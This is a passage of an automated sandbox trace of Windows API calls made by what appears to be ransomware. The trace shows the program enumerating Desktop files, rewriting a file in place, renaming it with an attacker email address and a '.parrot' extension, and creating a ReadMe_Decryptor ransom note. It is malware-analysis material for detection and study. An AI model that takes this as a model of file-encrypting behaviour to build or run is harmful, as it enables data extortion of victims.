(in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cbeb0 | out: hHeap=0x5b0000) returned 1 [0030.568] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606a50 | out: hHeap=0x5b0000) returned 1 [0030.568] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d4e8 | out: hHeap=0x5b0000) returned 1 [0030.568] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d6de8 | out: hHeap=0x5b0000) returned 1 [0030.568] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0030.568] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606950 | out: hHeap=0x5b0000) returned 1 [0030.568] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d470 | out: hHeap=0x5b0000) returned 1 [0030.568] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4990 | out: hHeap=0x5b0000) returned 1 [0030.568] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0030.568] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d448 | out: hHeap=0x5b0000) returned 1 [0030.568] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d49a0 | out: hHeap=0x5b0000) returned 1 [0030.568] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d5f30 | out: hHeap=0x5b0000) returned 1 [0030.568] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d498 | out: hHeap=0x5b0000) returned 1 [0030.568] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b478 | out: hHeap=0x5b0000) returned 1 [0030.568] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c75b8 | out: hHeap=0x5b0000) returned 1 [0030.568] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4d18 | out: hHeap=0x5b0000) returned 1 [0030.568] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e9958 | out: hHeap=0x5b0000) returned 1 [0030.568] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x50) returned 0x5eba28 [0030.568] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x210) returned 0x5d2058 [0030.568] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*", fInfoLevelId=0x0, lpFindFileData=0x18fb4c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18fb4c) returned 0x600310 [0030.828] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0030.828] FindNextFileW (in: hFindFile=0x600310, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x9b7d5820, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0x9b7d5820, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0030.828] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0030.828] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0030.828] FindNextFileW (in: hFindFile=0x600310, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3064f5f0, ftCreationTime.dwHighDateTime=0x1d5ba84, ftLastAccessTime.dwLowDateTime=0x136d5f30, ftLastAccessTime.dwHighDateTime=0x1d5b91e, ftLastWriteTime.dwLowDateTime=0x136d5f30, ftLastWriteTime.dwHighDateTime=0x1d5b91e, nFileSizeHigh=0x0, nFileSizeLow=0x155c7, dwReserved0=0x0, dwReserved1=0x0, cFileName="-AA3_k nv_.swf", cAlternateFileName="-AA3_K~1.SWF")) returned 1 [0030.829] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d498 [0030.829] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d498 | out: hHeap=0x5b0000) returned 1 [0030.829] lstrcmpW (lpString1="-AA3_k nv_.swf", lpString2="ReadMe_Decryptor.txt") returned -1 [0030.829] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\-AA3_k nv_.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\-aa3_k nv_.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x258 [0030.829] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x18fb10 | out: lpFileSizeHigh=0x18fb10*=0x0) returned 0x155c7 [0030.829] LockFile (hFile=0x258, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x156df, nNumberOfBytesToLockHigh=0x0) returned 1 [0030.829] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0030.829] ReadFile (in: hFile=0x258, lpBuffer=0x18faf0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fa94, lpOverlapped=0x0 | out: lpBuffer=0x18faf0*, lpNumberOfBytesRead=0x18fa94*=0x18, lpOverlapped=0x0) returned 1 [0030.829] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0030.829] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x100023) returned 0x2ea0020 [0030.845] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d49a0 [0030.845] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d49a0 | out: hHeap=0x5b0000) returned 1 [0030.845] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0030.845] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0030.845] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0030.845] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5d4d18 [0030.845] GetLastError () returned 0x0 [0030.845] SetLastError (dwErrCode=0x0) [0030.845] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0030.845] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x78) returned 0x5c2680 [0030.845] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606950 [0030.846] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x14) returned 0x5cb6c8 [0030.846] GetLastError () returned 0x0 [0030.846] SetLastError (dwErrCode=0x0) [0030.846] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb6c8 | out: hHeap=0x5b0000) returned 1 [0030.846] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0030.846] GetLastError () returned 0x0 [0030.846] SetLastError (dwErrCode=0x0) [0030.846] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0030.846] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0030.846] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x6069b0 [0030.846] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x5d8fd0 [0030.846] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1033) returned 0x5cce58 [0030.846] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2033) returned 0x5cde98 [0030.846] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cce58 | out: hHeap=0x5b0000) returned 1 [0030.846] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4033) returned 0x629218 [0030.846] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cde98 | out: hHeap=0x5b0000) returned 1 [0030.846] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8033) returned 0x62d258 [0030.846] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x629218 | out: hHeap=0x5b0000) returned 1 [0030.847] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10033) returned 0x635298 [0030.848] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d258 | out: hHeap=0x5b0000) returned 1 [0030.849] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20033) returned 0x6452d8 [0030.850] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x635298 | out: hHeap=0x5b0000) returned 1 [0030.850] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x7) returned 0x5d49a0 [0030.850] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6069b0 | out: hHeap=0x5b0000) returned 1 [0030.850] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d49a0 | out: hHeap=0x5b0000) returned 1 [0030.850] GetLastError () returned 0x0 [0030.850] SetLastError (dwErrCode=0x0) [0030.850] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0030.850] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0030.850] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606950 | out: hHeap=0x5b0000) returned 1 [0030.850] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c2680 | out: hHeap=0x5b0000) returned 1 [0030.850] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0030.850] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606cd8 | out: hHeap=0x5b0000) returned 1 [0030.850] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4d18 | out: hHeap=0x5b0000) returned 1 [0030.850] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x100) returned 0x5e9958 [0030.850] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x180) returned 0x5d6de8 [0030.850] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e9958 | out: hHeap=0x5b0000) returned 1 [0030.850] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0030.850] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d49a0 [0030.850] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4990 [0030.850] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d49a0 | out: hHeap=0x5b0000) returned 1 [0030.851] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d49a0 [0030.851] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4990 | out: hHeap=0x5b0000) returned 1 [0030.851] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4990 [0030.851] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d49a0 | out: hHeap=0x5b0000) returned 1 [0030.851] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d49a0 [0030.851] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4990 | out: hHeap=0x5b0000) returned 1 [0030.851] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606968 [0030.851] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d49a0 | out: hHeap=0x5b0000) returned 1 [0030.851] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606950 [0030.851] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0030.851] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb6c8 [0030.851] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606950 | out: hHeap=0x5b0000) returned 1 [0030.851] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d498 [0030.851] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb6c8 | out: hHeap=0x5b0000) returned 1 [0030.851] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0030.851] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d498 | out: hHeap=0x5b0000) returned 1 [0030.851] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c75b8 [0030.851] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0030.851] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b478 [0030.851] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c75b8 | out: hHeap=0x5b0000) returned 1 [0030.851] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x601838 [0030.851] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b478 | out: hHeap=0x5b0000) returned 1 [0030.851] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x5e9958 [0030.851] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x601838 | out: hHeap=0x5b0000) returned 1 [0030.851] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x606a50 [0030.851] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e9958 | out: hHeap=0x5b0000) returned 1 [0030.851] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x5cbeb0 [0030.851] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606a50 | out: hHeap=0x5b0000) returned 1 [0030.851] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x60c798 [0030.851] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cbeb0 | out: hHeap=0x5b0000) returned 1 [0030.851] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x6105c0 [0030.851] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60c798 | out: hHeap=0x5b0000) returned 1 [0030.851] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x5d33c8 [0030.851] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6105c0 | out: hHeap=0x5b0000) returned 1 [0030.851] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x5d4d18 [0030.851] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0030.851] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x5d8fd0 [0030.851] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4d18 | out: hHeap=0x5b0000) returned 1 [0030.852] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1536) returned 0x5cce58 [0030.852] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0030.852] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1fbf) returned 0x5ce398 [0030.852] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cce58 | out: hHeap=0x5b0000) returned 1 [0030.852] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2f8d) returned 0x665318 [0030.852] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5ce398 | out: hHeap=0x5b0000) returned 1 [0030.852] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4742) returned 0x6682b0 [0030.852] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x665318 | out: hHeap=0x5b0000) returned 1 [0030.852] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6ad1) returned 0x66ca00 [0030.853] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6682b0 | out: hHeap=0x5b0000) returned 1 [0030.854] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa028) returned 0x629218 [0030.855] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x66ca00 | out: hHeap=0x5b0000) returned 1 [0030.855] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xf02a) returned 0x633248 [0030.856] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x629218 | out: hHeap=0x5b0000) returned 1 [0030.856] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1682d) returned 0x665318 [0030.856] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x633248 | out: hHeap=0x5b0000) returned 1 [0030.857] WriteFile (in: hFile=0x258, lpBuffer=0x665320*, nNumberOfBytesToWrite=0x156e8, lpNumberOfBytesWritten=0x18fa94, lpOverlapped=0x0 | out: lpBuffer=0x665320*, lpNumberOfBytesWritten=0x18fa94*=0x156e8, lpOverlapped=0x0) returned 1 [0030.857] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x665318 | out: hHeap=0x5b0000) returned 1 [0030.857] UnlockFile (hFile=0x258, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x156df, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0030.858] CloseHandle (hObject=0x258) returned 1 [0031.087] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x60c5e8 [0031.087] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc0) returned 0x601838 [0031.087] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60c5e8 | out: hHeap=0x5b0000) returned 1 [0031.087] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\-AA3_k nv_.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\-aa3_k nv_.swf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\-AA3_k nv_.swf.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\-aa3_k nv_.swf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0031.088] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x601838 | out: hHeap=0x5b0000) returned 1 [0031.088] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d6de8 | out: hHeap=0x5b0000) returned 1 [0031.088] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6452d8 | out: hHeap=0x5b0000) returned 1 [0031.088] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x50) returned 0x5eba80 [0031.088] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x60c5e8 [0031.088] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d49a0 [0031.088] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d498 [0031.088] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4990 [0031.089] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4990 | out: hHeap=0x5b0000) returned 1 [0031.089] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4990 [0031.089] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x44) returned 0x5ddac0 [0031.089] GetLastError () returned 0x0 [0031.089] SetLastError (dwErrCode=0x0) [0031.089] GetLastError () returned 0x0 [0031.089] SetLastError (dwErrCode=0x0) [0031.089] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0xb8) returned 0x601838 [0031.089] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6a6) returned 0x5cabe0 [0031.089] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cabe0 | out: hHeap=0x5b0000) returned 1 [0031.089] GetLastError () returned 0x0 [0031.089] SetLastError (dwErrCode=0x0) [0031.089] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4960 [0031.089] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4930 [0031.089] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x4) returned 0x5d49b0 [0031.089] GetLastError () returned 0x0 [0031.089] SetLastError (dwErrCode=0x0) [0031.089] GetLastError () returned 0x0 [0031.090] SetLastError (dwErrCode=0x0) [0031.090] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0xb8) returned 0x5e9958 [0031.090] GetLastError () returned 0x0 [0031.090] SetLastError (dwErrCode=0x0) [0031.090] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6a6) returned 0x5cabe0 [0031.090] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cabe0 | out: hHeap=0x5b0000) returned 1 [0031.090] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0031.090] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x601838 | out: hHeap=0x5b0000) returned 1 [0031.090] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d49b0 | out: hHeap=0x5b0000) returned 1 [0031.090] GetLastError () returned 0x0 [0031.090] SetLastError (dwErrCode=0x0) [0031.090] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d49b0 [0031.090] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4960 [0031.090] GetLastError () returned 0x0 [0031.090] SetLastError (dwErrCode=0x0) [0031.090] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x200) returned 0x607478 [0031.090] GetLastError () returned 0x0 [0031.090] SetLastError (dwErrCode=0x0) [0031.090] GetLastError () returned 0x0 [0031.090] SetLastError (dwErrCode=0x0) [0031.090] GetLastError () returned 0x0 [0031.090] SetLastError (dwErrCode=0x0) [0031.091] GetLastError () returned 0x0 [0031.091] SetLastError (dwErrCode=0x0) [0031.091] GetLastError () returned 0x0 [0031.091] SetLastError (dwErrCode=0x0) [0031.091] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x4) returned 0x5d4b20 [0031.091] GetLastError () returned 0x0 [0031.091] SetLastError (dwErrCode=0x0) [0031.091] GetLastError () returned 0x0 [0031.091] SetLastError (dwErrCode=0x0) [0031.091] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0xb8) returned 0x601838 [0031.091] GetLastError () returned 0x0 [0031.091] SetLastError (dwErrCode=0x0) [0031.091] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6a6) returned 0x5cabe0 [0031.091] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cabe0 | out: hHeap=0x5b0000) returned 1 [0031.091] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d49b0 | out: hHeap=0x5b0000) returned 1 [0031.091] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e9958 | out: hHeap=0x5b0000) returned 1 [0031.092] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0031.092] GetLastError () returned 0x0 [0031.092] SetLastError (dwErrCode=0x0) [0031.092] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4b20 [0031.092] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0031.092] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4930 | out: hHeap=0x5b0000) returned 1 [0031.092] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4930 [0031.092] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0031.092] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x38) returned 0x600350 [0031.095] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18f888, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x258 [0031.115] GetFileType (hFile=0x258) returned 0x1 [0031.116] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x34) returned 0x600390 [0031.116] GetLastError () returned 0x0 [0031.116] SetLastError (dwErrCode=0x0) [0031.116] GetLastError () returned 0x0 [0031.116] SetLastError (dwErrCode=0x0) [0031.116] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0xb8) returned 0x5e9958 [0031.116] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6a6) returned 0x5cabe0 [0031.116] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cabe0 | out: hHeap=0x5b0000) returned 1 [0031.116] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0031.116] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x601838 | out: hHeap=0x5b0000) returned 1 [0031.116] GetLastError () returned 0x0 [0031.116] SetLastError (dwErrCode=0x0) [0031.116] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4b20 [0031.116] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d49b0 [0031.116] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x4) returned 0x5d4c00 [0031.116] GetLastError () returned 0x0 [0031.116] SetLastError (dwErrCode=0x0) [0031.116] GetLastError () returned 0x0 [0031.116] SetLastError (dwErrCode=0x0) [0031.116] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0xb8) returned 0x601838 [0031.117] GetLastError () returned 0x0 [0031.117] SetLastError (dwErrCode=0x0) [0031.117] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6a6) returned 0x5cabe0 [0031.117] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cabe0 | out: hHeap=0x5b0000) returned 1 [0031.117] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0031.117] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e9958 | out: hHeap=0x5b0000) returned 1 [0031.117] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c00 | out: hHeap=0x5b0000) returned 1 [0031.117] GetLastError () returned 0x0 [0031.117] SetLastError (dwErrCode=0x0) [0031.117] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4c00 [0031.117] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0031.117] GetLastError () returned 0x0 [0031.117] SetLastError (dwErrCode=0x0) [0031.117] GetLastError () returned 0x0 [0031.117] SetLastError (dwErrCode=0x0) [0031.117] GetLastError () returned 0x0 [0031.117] SetLastError (dwErrCode=0x0) [0031.117] RtlAllocateHeap (HeapHandle=0x5b0000, 